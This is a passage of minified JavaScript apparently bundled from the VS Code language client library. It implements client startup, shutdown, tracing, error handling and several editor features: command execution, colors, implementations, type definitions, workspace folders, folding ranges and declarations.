T.ExecuteCommandRequest.type}fillClientCapabilities(e){ne(ne(e,"workspace"),"executeCommand").dynamicRegistration=!0}initialize(e){!e.executeCommandProvider||this.register({id:Oe.generateUuid(),registerOptions:Object.assign({},e.executeCommandProvider)})}register(e){let t=this._client,n=t.clientOptions.middleware,i=(s,a)=>{let l={command:s,arguments:a};return t.sendRequest(T.ExecuteCommandRequest.type,l).then(void 0,u=>t.handleFailedRequest(T.ExecuteCommandRequest.type,void 0,u,void 0))};if(e.registerOptions.commands){let s=[];for(let a of e.registerOptions.commands)s.push(V.commands.registerCommand(a,(...l)=>n.executeCommand?n.executeCommand(a,l,i):i(a,l)));this._commands.set(e.id,s)}}unregister(e){let t=this._commands.get(e);t&&t.forEach(n=>n.dispose())}dispose(){this._commands.forEach(e=>{e.forEach(t=>t.dispose())}),this._commands.clear()}},ME;(function(r){function e(t){return t&&T.MessageReader.is(t.reader)&&T.MessageWriter.is(t.writer)}r.is=e})(ME=Ne.MessageTransports||(Ne.MessageTransports={}));var ll=class{constructor(e,t){this._resolve=e,this._reject=t,this._used=!1}get isUsed(){return this._used}resolve(){this._used=!0,this._resolve()}reject(e){this._used=!0,this._reject(e)}},dl=class extends V.CancellationError{constructor(e){super();this.data=e}};Ne.LSPCancellationError=dl;var Vi=class{constructor(e,t,n){var i,s,a,l,u,g,v,b,C;this._traceFormat=T.TraceFormat.Text,this._features=[],this._dynamicFeatures=new Map,this._id=e,this._name=t,n=n||{};let w={isTrusted:!1};n.markdown!==void 0&&n.markdown.isTrusted===!0&&(w.isTrusted=!0),this._clientOptions={documentSelector:(i=n.documentSelector)!==null&&i!==void 0?i:[],synchronize:(s=n.synchronize)!==null&&s!==void 0?s:{},diagnosticCollectionName:n.diagnosticCollectionName,outputChannelName:(a=n.outputChannelName)!==null&&a!==void 0?a:this._name,revealOutputChannelOn:(l=n.revealOutputChannelOn)!==null&&l!==void 0?l:os.Error,stdioEncoding:(u=n.stdioEncoding)!==null&&u!==void 0?u:"utf8",initializationOptions:n.initializationOptions,initializationFailedHandler:n.initializationFailedHandler,progressOnInitialization:!!n.progressOnInitialization,errorHandler:(g=n.errorHandler)!==null&&g!==void 0?g:this.createDefaultErrorHandler((v=n.connectionOptions)===null||v===void 0?void 0:v.maxRestartCount),middleware:(b=n.middleware)!==null&&b!==void 0?b:{},uriConverters:n.uriConverters,workspaceFolder:n.workspaceFolder,connectionOptions:n.connectionOptions,markdown:w,diagnosticPullOptions:(C=n.diagnosticPullOptions)!==null&&C!==void 0?C:{onChange:!0,onSave:!1}},this._clientOptions.synchronize=this._clientOptions.synchronize||{},this._state=Ue.Initial,this._connectionPromise=void 0,this._resolvedConnection=void 0,this._initializeResult=void 0,n.outputChannel?(this._outputChannel=n.outputChannel,this._disposeOutputChannel=!1):(this._outputChannel=void 0,this._disposeOutputChannel=!0),this._traceOutputChannel=n.traceOutputChannel,this._listeners=void 0,this._providers=void 0,this._diagnostics=void 0,this._fileEvents=[],this._fileEventDelayer=new Rm.Delayer(250),this._onReady=new Promise((E,q)=>{this._onReadyCallbacks=new ll(E,q)}),this._onStop=void 0,this._telemetryEmitter=new T.Emitter,this._stateChangeEmitter=new T.Emitter,this._trace=T.Trace.Off,this._tracer={log:(E,q)=>{qe.string(E)?this.logTrace(E,q):this.logObjectTrace(E)}},this._c2p=OE.createConverter(n.uriConverters?n.uriConverters.code2Protocol:void 0),this._p2c=AE.createConverter(n.uriConverters?n.uriConverters.protocol2Code:void 0,this._clientOptions.markdown.isTrusted),this._syncedDocuments=new Map,this.registerBuiltinFeatures()}get state(){return this._state}set state(e){let t=this.getPublicState();this._state=e;let n=this.getPublicState();n!==t&&this._stateChangeEmitter.fire({oldState:t,newState:n})}getPublicState(){return this.state===Ue.Running?La.Running:this.state===Ue.Starting?La.Starting:La.Stopped}get initializeResult(){return this._initializeResult}sendRequest(e,...t){if(!this.isConnectionActive())throw new Error(`Language client is not ready yet when handling ${qe.string(e)?e:e.method}`);this.forceDocumentSync();try{return this._resolvedConnection.sendRequest(e,...t)}catch(n){throw this.error(`Sending request ${qe.string(e)?e:e.method} failed.`,n),n}}onRequest(e,t){if(!this.isConnectionActive())throw new Error(`Language client is not ready yet when handling ${qe.string(e)?e:e.method}`);try{return this._resolvedConnection.onRequest(e,t)}catch(n){throw this.error(`Registering request handler ${qe.string(e)?e:e.method} failed.`,n),n}}sendNotification(e,t){if(!this.isConnectionActive())throw new Error(`Language client is not ready yet when handling ${qe.string(e)?e:e.method}`);this.forceDocumentSync();try{return this._resolvedConnection.sendNotification(e,t)}catch(n){throw this.error(`Sending notification ${qe.string(e)?e:e.method} failed.`,n),n}}onNotification(e,t){if(!this.isConnectionActive())throw new Error(`Language client is not ready yet when handling ${qe.string(e)?e:e.method}`);try{return this._resolvedConnection.onNotification(e,t)}catch(n){throw this.error(`Registering notification handler ${qe.string(e)?e:e.method} failed.`,n),n}}onProgress(e,t,n){if(!this.isConnectionActive())throw new Error("Language client is not ready yet when trying to send progress");try{if(T.WorkDoneProgress.is(e)){let i=this._clientOptions.middleware.handleWorkDoneProgress;if(i!==void 0)return this._resolvedConnection.onProgress(e,t,s=>{i(t,s,()=>n(s))})}return this._resolvedConnection.onProgress(e,t,n)}catch(i){throw this.error(`Registering progress handler for token ${t} failed.`,i),i}}sendProgress(e,t,n){if(!this.isConnectionActive())throw new Error("Language client is not ready yet when trying to send progress");this.forceDocumentSync();try{this._resolvedConnection.sendProgress(e,t,n)}catch(i){throw this.error(`Sending progress for token ${t} failed.`,i),i}}get clientOptions(){return this._clientOptions}get protocol2CodeConverter(){return this._p2c}get code2ProtocolConverter(){return this._c2p}get onTelemetry(){return this._telemetryEmitter.event}get onDidChangeState(){return this._stateChangeEmitter.event}get outputChannel(){return this._outputChannel||(this._outputChannel=V.window.createOutputChannel(this._clientOptions.outputChannelName?this._clientOptions.outputChannelName:this._name)),this._outputChannel}get traceOutputChannel(){return this._traceOutputChannel?this._traceOutputChannel:this.outputChannel}get diagnostics(){return this._diagnostics}createDefaultErrorHandler(e){if(e!==void 0&&e<0)throw new Error(`Invalid maxRestartCount: ${e}`);return new Sm(this._name,e??4)}set trace(e){this._trace=e,this.onReady().then(()=>{this.resolveConnection().then(t=>{t.trace(this._trace,this._tracer,{sendNotification:!1,traceFormat:this._traceFormat})},()=>this.info("Setting trace value failed",void 0,!1))},()=>{})}data2String(e){if(e instanceof T.ResponseError){let t=e;return` Message: ${t.message}
Code: ${t.code} ${t.data?`
`+t.data.toString():""}`}return e instanceof Error?qe.string(e.stack)?e.stack:e.message:qe.string(e)?e:e.toString()}info(e,t,n=!0){this.outputChannel.appendLine(`[Info - ${new Date().toLocaleTimeString()}] ${e}`),t!=null&&this.outputChannel.appendLine(this.data2String(t)),n&&this._clientOptions.revealOutputChannelOn<=os.Info&&this.showNotificationMessage()}warn(e,t,n=!0){this.outputChannel.appendLine(`[Warn - ${new Date().toLocaleTimeString()}] ${e}`),t!=null&&this.outputChannel.appendLine(this.data2String(t)),n&&this._clientOptions.revealOutputChannelOn<=os.Warn&&this.showNotificationMessage()}error(e,t,n=!0){this.outputChannel.appendLine(`[Error - ${new Date().toLocaleTimeString()}] ${e}`),t!=null&&this.outputChannel.appendLine(this.data2String(t)),n&&this._clientOptions.revealOutputChannelOn<=os.Error&&this.showNotificationMessage()}showNotificationMessage(){V.window.showInformationMessage("A request has failed. See the output for more information.","Go to output").then(e=>{e!==void 0&&this.outputChannel.show(!0)})}logTrace(e,t){this.traceOutputChannel.appendLine(`[Trace - ${new Date().toLocaleTimeString()}] ${e}`),t&&this.traceOutputChannel.appendLine(this.data2String(t))}logObjectTrace(e){e.isLSPMessage&&e.type?this.traceOutputChannel.append(`[LSP - ${new Date().toLocaleTimeString()}] `):this.traceOutputChannel.append(`[Trace - ${new Date().toLocaleTimeString()}] `),e&&this.traceOutputChannel.appendLine(`${JSON.stringify(e)}`)}needsStart(){return this.state===Ue.Initial||this.state===Ue.Stopping||this.state===Ue.Stopped}needsStop(){return this.state===Ue.Starting||this.state===Ue.Running}onReady(){return this._onReady}isConnectionActive(){return this.state===Ue.Running&&!!this._resolvedConnection}start(){return this._onReadyCallbacks.isUsed&&(this._onReady=new Promise((e,t)=>{this._onReadyCallbacks=new ll(e,t)})),this._listeners=[],this._providers=[],this._diagnostics||(this._diagnostics=this._clientOptions.diagnosticCollectionName?V.languages.createDiagnosticCollection(this._clientOptions.diagnosticCollectionName):V.languages.createDiagnosticCollection()),this.state=Ue.Starting,this.resolveConnection().then(e=>(e.onLogMessage(t=>{switch(t.type){case T.MessageType.Error:this.error(t.message,void 0,!1);break;case T.MessageType.Warning:this.warn(t.message,void 0,!1);break;case T.MessageType.Info:this.info(t.message,void 0,!1);break;default:this.outputChannel.appendLine(t.message)}}),e.onShowMessage(t=>{switch(t.type){case T.MessageType.Error:V.window.showErrorMessage(t.message);break;case T.MessageType.Warning:V.window.showWarningMessage(t.message);break;case T.MessageType.Info:V.window.showInformationMessage(t.message);break;default:V.window.showInformationMessage(t.message)}}),e.onRequest(T.ShowMessageRequest.type,t=>{let n;switch(t.type){case T.MessageType.Error:n=V.window.showErrorMessage;break;case T.MessageType.Warning:n=V.window.showWarningMessage;break;case T.MessageType.Info:n=V.window.showInformationMessage;break;default:n=V.window.showInformationMessage}let i=t.actions||[];return n(t.message,...i)}),e.onTelemetry(t=>{this._telemetryEmitter.fire(t)}),e.onRequest(T.ShowDocumentRequest.type,async t=>{var n;let i=async a=>{let l=this.protocol2CodeConverter.asUri(a.uri);try{if(a.external===!0)return{success:await V.env.openExternal(l)};{let u={};return a.selection!==void 0&&(u.selection=this.protocol2CodeConverter.asRange(a.selection)),a.takeFocus===void 0||a.takeFocus===!1?u.preserveFocus=!0:a.takeFocus===!0&&(u.preserveFocus=!1),await V.window.showTextDocument(l,u),{success:!0}}}catch{return{success:!0}}},s=(n=this._clientOptions.middleware.window)===null||n===void 0?void 0:n.showDocument;return s!==void 0?s(t,i):i(t)}),e.listen(),this.initialize(e))).catch(e=>{this.state=Ue.StartFailed,this._onReadyCallbacks.reject(e),this.error("Starting client failed",e),V.window.showErrorMessage(`Couldn't start client ${this._name}`)}),new V.Disposable(()=>{this.needsStop()&&this.stop().catch(e=>{this.error("Stopping server failed.",e,!1)})})}resolveConnection(){return this._connectionPromise||(this._connectionPromise=this.createConnection()),this._connectionPromise}initialize(e){this.refreshTrace(e,!1);let t=this._clientOptions.initializationOptions,n=this._clientOptions.workspaceFolder?this._clientOptions.workspaceFolder.uri.fsPath:this._clientGetRootPath(),i={processId:null,clientInfo:{name:V.env.appName,version:V.version},locale:this.getLocale(),rootPath:n||null,rootUri:n?this._c2p.asUri(V.Uri.file(n)):null,capabilities:this.computeClientCapabilities(),initializationOptions:qe.func(t)?t():t,trace:T.Trace.toString(this._trace),workspaceFolders:null};if(this.fillInitializeParams(i),this._clientOptions.progressOnInitialization){let s=Oe.generateUuid(),a=new FE.ProgressPart(e,s);return i.workDoneToken=s,this.doInitialize(e,i).then(l=>(a.done(),l),l=>{throw a.cancel(),l})}else return this.doInitialize(e,i)}doInitialize(e,t){return e.initialize(t).then(n=>{this._resolvedConnection=e,this._initializeResult=n,this.state=Ue.Running;let i;return qe.number(n.capabilities.textDocumentSync)?n.capabilities.textDocumentSync===T.TextDocumentSyncKind.None?i={openClose:!1,change:T.TextDocumentSyncKind.None,save:void 0}:i={openClose:!0,change:n.capabilities.textDocumentSync,save:{includeText:!1}}:n.capabilities.textDocumentSync!==void 0&&n.capabilities.textDocumentSync!==null&&(i=n.capabilities.textDocumentSync),this._capabilities=Object.assign({},n.capabilities,{resolvedTextDocumentSync:i}),e.onDiagnostics(s=>this.handleDiagnostics(s)),e.onRequest(T.RegistrationRequest.type,s=>this.handleRegistrationRequest(s)),e.onRequest("client/registerFeature",s=>this.handleRegistrationRequest(s)),e.onRequest(T.UnregistrationRequest.type,s=>this.handleUnregistrationRequest(s)),e.onRequest("client/unregisterFeature",s=>this.handleUnregistrationRequest(s)),e.onRequest(T.ApplyWorkspaceEditRequest.type,s=>this.handleApplyWorkspaceEdit(s)),e.sendNotification(T.InitializedNotification.type,{}).then(()=>(this.hookFileEvents(e),this.hookConfigurationChanged(e),this.initializeFeatures(e),this._onReadyCallbacks.resolve(),n))}).then(void 0,n=>{throw this._clientOptions.initializationFailedHandler?this._clientOptions.initializationFailedHandler(n)?this.initialize(e):(this.stop(),this._onReadyCallbacks.reject(n)):n instanceof T.ResponseError&&n.data&&n.data.retry?V.window.showErrorMessage(n.message,{title:"Retry",id:"retry"}).then(i=>{i&&i.id==="retry"?this.initialize(e):(this.stop(),this._onReadyCallbacks.reject(n))}):(n&&n.message&&V.window.showErrorMessage(n.message),this.error("Server initialization failed.",n),this.stop(),this._onReadyCallbacks.reject(n)),n})}_clientGetRootPath(){let e=V.workspace.workspaceFolders;if(!e||e.length===0)return;let t=e[0];if(t.uri.scheme==="file")return t.uri.fsPath}stop(){return this._initializeResult=void 0,this._connectionPromise?this.state===Ue.Stopping&&this._onStop?this._onStop:(this.state=Ue.Stopping,this.cleanUp(!1),this._onStop=this.resolveConnection().then(e=>e.shutdown().then(()=>e.exit().then(()=>{e.end(),e.dispose(),this.state=Ue.Stopped,this.cleanUpChannel(),this._onStop=void 0,this._connectionPromise=void 0,this._resolvedConnection=void 0})))):(this.state=Ue.Stopped,Promise.resolve())}cleanUp(e=!0,t=!0){this._listeners&&(this._listeners.forEach(n=>n.dispose()),this._listeners=void 0),this._providers&&(this._providers.forEach(n=>n.dispose()),this._providers=void 0),this._syncedDocuments&&this._syncedDocuments.clear();for(let n of this._features.values())n.dispose();e&&this.cleanUpChannel(),t&&this._diagnostics&&(this._diagnostics.dispose(),this._diagnostics=void 0)}cleanUpChannel(){this._outputChannel&&this._disposeOutputChannel&&(this._outputChannel.dispose(),this._outputChannel=void 0)}notifyFileEvent(e){var t;let n=this;function i(a){n._fileEvents.push(a),n._fileEventDelayer.trigger(()=>{n.onReady().then(()=>{n.resolveConnection().then(l=>{n.isConnectionActive()&&(n.forceDocumentSync(),l.didChangeWatchedFiles({changes:n._fileEvents})),n._fileEvents=[]})},l=>{n.error("Notify file events failed.",l)})})}let s=(t=this.clientOptions.middleware)===null||t===void 0?void 0:t.workspace;(s==null?void 0:s.didChangeWatchedFile)?s.didChangeWatchedFile(e,i):i(e)}forceDocumentSync(){this._didChangeTextDocumentFeature===void 0&&(this._didChangeTextDocumentFeature=this._dynamicFeatures.get(T.DidChangeTextDocumentNotification.type.method)),this._didChangeTextDocumentFeature.forceDelivery()}handleDiagnostics(e){if(!this._diagnostics)return;let t=this._p2c.asUri(e.uri),n=this._p2c.asDiagnostics(e.diagnostics),i=this.clientOptions.middleware;i.handleDiagnostics?i.handleDiagnostics(t,n,(s,a)=>this.setDiagnostics(s,a)):this.setDiagnostics(t,n)}setDiagnostics(e,t){!this._diagnostics||this._diagnostics.set(e,t)}createConnection(){let e=(n,i,s)=>{this.handleConnectionError(n,i,s)},t=()=>{this.handleConnectionClosed()};return this.createMessageTransports(this._clientOptions.stdioEncoding||"utf8").then(n=>IE(n.reader,n.writer,e,t,this._clientOptions.connectionOptions))}handleConnectionClosed(){if(this.state===Ue.Stopped)return;try{this._resolvedConnection&&this._resolvedConnection.dispose()}catch{}let e=li.DoNotRestart;if(this.state!==Ue.Stopping)try{e=this._clientOptions.errorHandler.closed()}catch{}this._connectionPromise=void 0,this._resolvedConnection=void 0,e===li.DoNotRestart?(this.error("Connection to server got closed. Server will not be restarted."),this.state===Ue.Starting?(this._onReadyCallbacks.reject(new Error("Connection to server got closed. Server will not be restarted.")),this.state=Ue.StartFailed):this.state=Ue.Stopped,this.cleanUp(!1,!0)):e===li.Restart&&(this.info("Connection to server got closed. Server will restart."),this.cleanUp(!1,!1),this.state=Ue.Initial,this.start())}handleConnectionError(e,t,n){this._clientOptions.errorHandler.error(e,t,n)===Ia.Shutdown&&(this.error("Connection to server is erroring. Shutting down server."),this.stop().catch(s=>{this.error("Stopping server failed",s,!1)}))}hookConfigurationChanged(e){V.workspace.onDidChangeConfiguration(()=>{this.refreshTrace(e,!0)})}refreshTrace(e,t=!1){let n=V.workspace.getConfiguration(this._id),i=T.Trace.Off,s=T.TraceFormat.Text;if(n){let a=n.get("trace.server","off");typeof a=="string"?i=T.Trace.fromString(a):(i=T.Trace.fromString(n.get("trace.server.verbosity","off")),s=T.TraceFormat.fromString(n.get("trace.server.format","text")))}this._trace=i,this._traceFormat=s,e.trace(this._trace,this._tracer,{sendNotification:t,traceFormat:this._traceFormat})}hookFileEvents(e){let t=this._clientOptions.synchronize.fileEvents;if(!t)return;let n;qe.array(t)?n=t:n=[t],!!n&&this._dynamicFeatures.get(T.DidChangeWatchedFilesNotification.type.method).registerRaw(Oe.generateUuid(),n)}registerFeatures(e){for(let t of e)this.registerFeature(t)}registerFeature(e){if(this._features.push(e),ul.is(e)){let t=e.registrationType;this._dynamicFeatures.set(t.method,e)}}getFeature(e){return this._dynamicFeatures.get(e)}registerBuiltinFeatures(){this.registerFeature(new Xm(this)),this.registerFeature(new Dm(this,this._syncedDocuments)),this.registerFeature(new xm(this)),this.registerFeature(new km(this)),this.registerFeature(new qm(this)),this.registerFeature(new Om(this)),this.registerFeature(new Em(this,this._syncedDocuments)),this.registerFeature(new Am(this,e=>this.notifyFileEvent(e))),this.registerFeature(new Im(this)),this.registerFeature(new Lm(this)),this.registerFeature(new Nm(this)),this.registerFeature(new Mm(this)),this.registerFeature(new jm(this)),this.registerFeature(new $m(this)),this.registerFeature(new Wm(this)),this.registerFeature(new Hm(this)),this.registerFeature(new zm(this)),this.registerFeature(new Bm(this)),this.registerFeature(new Um(this)),this.registerFeature(new Km(this)),this.registerFeature(new Gm(this)),this.registerFeature(new Vm(this)),this.registerFeature(new Ym(this)),this.registerFeature(new Qm(this))}fillInitializeParams(e){for(let t of this._features)qe.func(t.fillInitializeParams)&&t.fillInitializeParams(e)}computeClientCapabilities(){let e={};ne(e,"workspace").applyEdit=!0;let t=ne(ne(e,"workspace"),"workspaceEdit");t.documentChanges=!0,t.resourceOperations=[T.ResourceOperationKind.Create,T.ResourceOperationKind.Rename,T.ResourceOperationKind.Delete],t.failureHandling=T.FailureHandlingKind.TextOnlyTransactional,t.normalizesLineEndings=!0,t.changeAnnotationSupport={groupsOnLabel:!0};let n=ne(ne(e,"textDocument"),"publishDiagnostics");n.relatedInformation=!0,n.versionSupport=!1,n.tagSupport={valueSet:[T.DiagnosticTag.Unnecessary,T.DiagnosticTag.Deprecated]},n.codeDescriptionSupport=!0,n.dataSupport=!0;let i=ne(e,"window"),s=ne(i,"showMessage");s.messageActionItem={additionalPropertiesSupport:!0};let a=ne(i,"showDocument");a.support=!0;let l=ne(e,"general");l.staleRequestSupport={cancel:!0,retryOnContentModified:Array.from(Vi.RequestsToCancelOnContentModified)},l.regularExpressions={engine:"ECMAScript",version:"ES2020"},l.markdown={parser:"marked",version:"1.1.0"};for(let u of this._features)u.fillClientCapabilities(e);return e}initializeFeatures(e){let t=this._clientOptions.documentSelector;for(let n of this._features)n.initialize(this._capabilities,t)}handleRegistrationRequest(e){return new Promise((t,n)=>{for(let i of e.registrations){let s=this._dynamicFeatures.get(i.method);if(s===void 0){n(new Error(`No feature implementation for ${i.method} found. Registration failed.`));return}let a=i.registerOptions||{};a.documentSelector=a.documentSelector||this._clientOptions.documentSelector;let l={id:i.id,registerOptions:a};try{s.register(l)}catch(u){n(u);return}}t()})}handleUnregistrationRequest(e){return new Promise((t,n)=>{for(let i of e.unregisterations){let s=this._dynamicFeatures.get(i.method);if(!s){n(new Error(`No feature implementation for ${i.method} found. Unregistration failed.`));return}s.unregister(i.id)}t()})}handleApplyWorkspaceEdit(e){let t=e.edit,n=new Map;V.workspace.textDocuments.forEach(s=>n.set(s.uri.toString(),s));let i=!1;if(t.documentChanges){for(let s of t.documentChanges)if(T.TextDocumentEdit.is(s)&&s.textDocument.version&&s.textDocument.version>=0){let a=n.get(s.textDocument.uri);if(a&&a.version!==s.textDocument.version){i=!0;break}}}return i?Promise.resolve({applied:!1}):qe.asPromise(V.workspace.applyEdit(this._p2c.asWorkspaceEdit(e.edit)).then(s=>({applied:s})))}handleFailedRequest(e,t,n,i){if(n instanceof T.ResponseError){if(n.code===T.LSPErrorCodes.RequestCancelled||n.code===T.LSPErrorCodes.ServerCancelled){if(t!==void 0&&t.isCancellationRequested)return i;throw n.data!==void 0?new dl(n.data):new V.CancellationError}else if(n.code===T.LSPErrorCodes.ContentModified){if(Vi.RequestsToCancelOnContentModified.has(e.method))throw new V.CancellationError;return i}}throw this.error(`Request ${e.method} failed.`,n),n}};Ne.BaseLanguageClient=Vi;Vi.RequestsToCancelOnContentModified=new Set([T.SemanticTokensRequest.method,T.SemanticTokensRangeRequest.method,T.SemanticTokensDeltaRequest.method])});var ev=F(Ma=>{"use strict";Object.defineProperty(Ma,"__esModule",{value:!0});Ma.ColorProviderFeature=void 0;var Na=require("vscode"),as=Be(),jE=ir();function Jm(r,e){return r[e]===void 0&&(r[e]={}),r[e]}var Zm=class extends jE.TextDocumentFeature{constructor(e){super(e,as.DocumentColorRequest.type)}fillClientCapabilities(e){Jm(Jm(e,"textDocument"),"colorProvider").dynamicRegistration=!0}initialize(e,t){let[n,i]=this.getRegistration(t,e.colorProvider);!n||!i||this.register({id:n,registerOptions:i})}registerLanguageProvider(e){let t={provideColorPresentations:(n,i,s)=>{let a=this._client,l=(g,v,b)=>{let C={color:g,textDocument:a.code2ProtocolConverter.asTextDocumentIdentifier(v.document),range:a.code2ProtocolConverter.asRange(v.range)};return a.sendRequest(as.ColorPresentationRequest.type,C,b).then(this.asColorPresentations.bind(this),w=>a.handleFailedRequest(as.ColorPresentationRequest.type,b,w,null))},u=a.clientOptions.middleware;return u.provideColorPresentations?u.provideColorPresentations(n,i,s,l):l(n,i,s)},provideDocumentColors:(n,i)=>{let s=this._client,a=(u,g)=>{let v={textDocument:s.code2ProtocolConverter.asTextDocumentIdentifier(u)};return s.sendRequest(as.DocumentColorRequest.type,v,g).then(this.asColorInformations.bind(this),b=>s.handleFailedRequest(as.ColorPresentationRequest.type,g,b,null))},l=s.clientOptions.middleware;return l.provideDocumentColors?l.provideDocumentColors(n,i,a):a(n,i)}};return[Na.languages.registerColorProvider(e.documentSelector,t),t]}asColor(e){return new Na.Color(e.red,e.green,e.blue,e.alpha)}asColorInformations(e){return Array.isArray(e)?e.map(t=>new Na.ColorInformation(this._client.protocol2CodeConverter.asRange(t.range),this.asColor(t.color))):[]}asColorPresentations(e){return Array.isArray(e)?e.map(t=>{let n=new Na.ColorPresentation(t.label);return n.additionalTextEdits=this._client.protocol2CodeConverter.asTextEdits(t.additionalTextEdits),n.textEdit=this._client.protocol2CodeConverter.asTextEdit(t.textEdit),n}):[]}};Ma.ColorProviderFeature=Zm});var nv=F(ja=>{"use strict";Object.defineProperty(ja,"__esModule",{value:!0});ja.ImplementationFeature=void 0;var $E=require("vscode"),fl=Be(),WE=ir();function tv(r,e){return r[e]===void 0&&(r[e]={}),r[e]}var rv=class extends WE.TextDocumentFeature{constructor(e){super(e,fl.ImplementationRequest.type)}fillClientCapabilities(e){let t=tv(tv(e,"textDocument"),"implementation");t.dynamicRegistration=!0,t.linkSupport=!0}initialize(e,t){let[n,i]=this.getRegistration(t,e.implementationProvider);!n||!i||this.register({id:n,registerOptions:i})}registerLanguageProvider(e){let t={provideImplementation:(n,i,s)=>{let a=this._client,l=(g,v,b)=>a.sendRequest(fl.ImplementationRequest.type,a.code2ProtocolConverter.asTextDocumentPositionParams(g,v),b).then(a.protocol2CodeConverter.asDefinitionResult,C=>a.handleFailedRequest(fl.ImplementationRequest.type,b,C,null)),u=a.clientOptions.middleware;return u.provideImplementation?u.provideImplementation(n,i,s,l):l(n,i,s)}};return[$E.languages.registerImplementationProvider(e.documentSelector,t),t]}};ja.ImplementationFeature=rv});var ov=F(Wa=>{"use strict";Object.defineProperty(Wa,"__esModule",{value:!0});Wa.TypeDefinitionFeature=void 0;var HE=require("vscode"),hl=Be(),zE=ir();function $a(r,e){return r[e]===void 0&&(r[e]={}),r[e]}var iv=class extends zE.TextDocumentFeature{constructor(e){super(e,hl.TypeDefinitionRequest.type)}fillClientCapabilities(e){$a($a(e,"textDocument"),"typeDefinition").dynamicRegistration=!0;let t=$a($a(e,"textDocument"),"typeDefinition");t.dynamicRegistration=!0,t.linkSupport=!0}initialize(e,t){let[n,i]=this.getRegistration(t,e.typeDefinitionProvider);!n||!i||this.register({id:n,registerOptions:i})}registerLanguageProvider(e){let t={provideTypeDefinition:(n,i,s)=>{let a=this._client,l=(g,v,b)=>a.sendRequest(hl.TypeDefinitionRequest.type,a.code2ProtocolConverter.asTextDocumentPositionParams(g,v),b).then(a.protocol2CodeConverter.asDefinitionResult,C=>a.handleFailedRequest(hl.TypeDefinitionRequest.type,b,C,null)),u=a.clientOptions.middleware;return u.provideTypeDefinition?u.provideTypeDefinition(n,i,s,l):l(n,i,s)}};return[HE.languages.registerTypeDefinitionProvider(e.documentSelector,t),t]}};Wa.TypeDefinitionFeature=iv});var av=F(Yi=>{"use strict";Object.defineProperty(Yi,"__esModule",{value:!0});Yi.WorkspaceFoldersFeature=Yi.arrayDiff=void 0;var BE=is(),Ha=require("vscode"),za=Be();function pl(r,e){if(r!==void 0)return r[e]}function gl(r,e){return r.filter(t=>e.indexOf(t)<0)}Yi.arrayDiff=gl;var sv=class{constructor(e){this._client=e,this._listeners=new Map}get registrationType(){return za.DidChangeWorkspaceFoldersNotification.type}fillInitializeParams(e){let t=Ha.workspace.workspaceFolders;this.initializeWithFolders(t),t===void 0?e.workspaceFolders=null:e.workspaceFolders=t.map(n=>this.asProtocol(n))}initializeWithFolders(e){this._initialFolders=e}fillClientCapabilities(e){e.workspace=e.workspace||{},e.workspace.workspaceFolders=!0}initialize(e){let t=this._client;t.onRequest(za.WorkspaceFoldersRequest.type,s=>{let a=()=>{let u=Ha.workspace.workspaceFolders;return u===void 0?null:u.map(v=>this.asProtocol(v))},l=t.clientOptions.middleware.workspace;return l&&l.workspaceFolders?l.workspaceFolders(s,a):a(s)});let n=pl(pl(pl(e,"workspace"),"workspaceFolders"),"changeNotifications"),i;typeof n=="string"?i=n:n===!0&&(i=BE.generateUuid()),i&&this.register({id:i,registerOptions:void 0})}sendInitialEvent(e){if(this._initialFolders&&e){let t=gl(this._initialFolders,e),n=gl(e,this._initialFolders);(n.length>0||t.length>0)&&this.doSendEvent(n,t)}else this._initialFolders?this.doSendEvent([],this._initialFolders):e&&this.doSendEvent(e,[])}doSendEvent(e,t){let n={event:{added:e.map(i=>this.asProtocol(i)),removed:t.map(i=>this.asProtocol(i))}};this._client.sendNotification(za.DidChangeWorkspaceFoldersNotification.type,n).catch(i=>{this._client.error(`Sending notification ${za.DidChangeWorkspaceFoldersNotification.type.method} failed`,i)})}register(e){let t=e.id,n=this._client,i=Ha.workspace.onDidChangeWorkspaceFolders(s=>{let a=u=>{this.doSendEvent(u.added,u.removed)},l=n.clientOptions.middleware.workspace;l&&l.didChangeWorkspaceFolders?l.didChangeWorkspaceFolders(s,a):a(s)});this._listeners.set(t,i),this.sendInitialEvent(Ha.workspace.workspaceFolders)}unregister(e){let t=this._listeners.get(e);t!==void 0&&(this._listeners.delete(e),t.dispose())}dispose(){for(let e of this._listeners.values())e.dispose();this._listeners.clear()}asProtocol(e){return e===void 0?null:{uri:this._client.code2ProtocolConverter.asUri(e.uri),name:e.name}}};Yi.WorkspaceFoldersFeature=sv});var uv=F(Ba=>{"use strict";Object.defineProperty(Ba,"__esModule",{value:!0});Ba.FoldingRangeFeature=void 0;var cs=require("vscode"),Xi=Be(),UE=ir();function cv(r,e){return r[e]===void 0&&(r[e]={}),r[e]}var us=class extends UE.TextDocumentFeature{constructor(e){super(e,Xi.FoldingRangeRequest.type)}fillClientCapabilities(e){let t=cv(cv(e,"textDocument"),"foldingRange");t.dynamicRegistration=!0,t.rangeLimit=5e3,t.lineFoldingOnly=!0}initialize(e,t){let[n,i]=this.getRegistration(t,e.foldingRangeProvider);!n||!i||this.register({id:n,registerOptions:i})}registerLanguageProvider(e){let t={provideFoldingRanges:(n,i,s)=>{let a=this._client,l=(g,v,b)=>{let C={textDocument:a.code2ProtocolConverter.asTextDocumentIdentifier(g)};return a.sendRequest(Xi.FoldingRangeRequest.type,C,b).then(us.asFoldingRanges,w=>a.handleFailedRequest(Xi.FoldingRangeRequest.type,b,w,null))},u=a.clientOptions.middleware;return u.provideFoldingRanges?u.provideFoldingRanges(n,i,s,l):l(n,i,s)}};return[cs.languages.registerFoldingRangeProvider(e.documentSelector,t),t]}static asFoldingRangeKind(e){if(e)switch(e){case Xi.FoldingRangeKind.Comment:return cs.FoldingRangeKind.Comment;case Xi.FoldingRangeKind.Imports:return cs.FoldingRangeKind.Imports;case Xi.FoldingRangeKind.Region:return cs.FoldingRangeKind.Region}}static asFoldingRanges(e){return Array.isArray(e)?e.map(t=>new cs.FoldingRange(t.startLine,t.endLine,us.asFoldingRangeKind(t.kind))):[]}};Ba.FoldingRangeFeature=us});var fv=F(Ua=>{"use strict";Object.defineProperty(Ua,"__esModule",{value:!0});Ua.DeclarationFeature=void 0;var KE=require("vscode"),ml=Be(),GE=ir();function lv(r,e){return r[e]===void 0&&(r[e]={}),r[e]}var dv=class extends GE.TextDocumentFeature{constructor(e){super(e,ml.DeclarationRequest.type)}fillClientCapabilities(e){let t=lv(lv(e,"textDocument"),"declaration");t.dynamicRegistration=!0,t.linkSupport=!0}initialize(e,t){let[n,i]=this.getRegistration(t,e.declarationProvider);!n||!i||this.register({id:n,registerOptions:i})}registerLanguageProvider(e){let 